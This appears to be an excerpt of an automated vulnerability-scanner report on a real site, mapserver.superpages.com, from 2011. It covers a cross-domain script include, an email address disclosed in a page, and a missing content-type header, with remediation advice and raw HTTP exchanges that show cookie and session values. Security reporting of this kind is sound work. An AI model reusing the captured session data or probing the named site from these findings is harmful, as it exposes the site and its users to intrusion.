If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.
Issue remediation
Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.
Request
GET /mapbasedsearch/ HTTP/1.1 Host: mapserver.superpages.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_cc=true; s_lastvisit=1296748870245; s_sq=%5B%5BB%5D%5D; SPC=1296748823650-www.superpages.com-30323935-794472; s_dfa=superpagescom; s_pv=Business%20Profile;
Response
HTTP/1.1 200 OK Server: Unspecified Set-Cookie: JSESSIONID=DCE60BC274E8A0BE8B8B834710F4C607; Path=/mapbasedsearch Set-Cookie: spLocalHost=http://mapserver.superpages.com/mapbasedsearch/ Content-Type: text/html Date: Thu, 03 Feb 2011 16:22:18 GMT Connection: close
The following email address was disclosed in the response:
xxx@proxymail.facebook.com
Issue background
The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.
However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.
Issue remediation
You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).
Request
GET /mapbasedsearch/ HTTP/1.1 Host: mapserver.superpages.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_cc=true; s_lastvisit=1296748870245; s_sq=%5B%5BB%5D%5D; SPC=1296748823650-www.superpages.com-30323935-794472; s_dfa=superpagescom; s_pv=Business%20Profile;
Response
HTTP/1.1 200 OK Server: Unspecified Set-Cookie: JSESSIONID=DCE60BC274E8A0BE8B8B834710F4C607; Path=/mapbasedsearch Set-Cookie: spLocalHost=http://mapserver.superpages.com/mapbasedsearch/ Content-Type: text/html Date: Thu, 03 Feb 2011 16:22:18 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <title></title> <meta http ...[SNIP]... <td width="260" height="32">We are unable to provide information regarding your account to xxx@proxymail.facebook.com</td> ...[SNIP]...
6. Content type is not specifiedprevious There are 2 instances of this issue:
If a web response does not specify a content type, then the browser will usually analyse the response and attempt to determine the MIME type of its content. This can have unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.
In most cases, the absence of a content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.
Issue remediation
For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.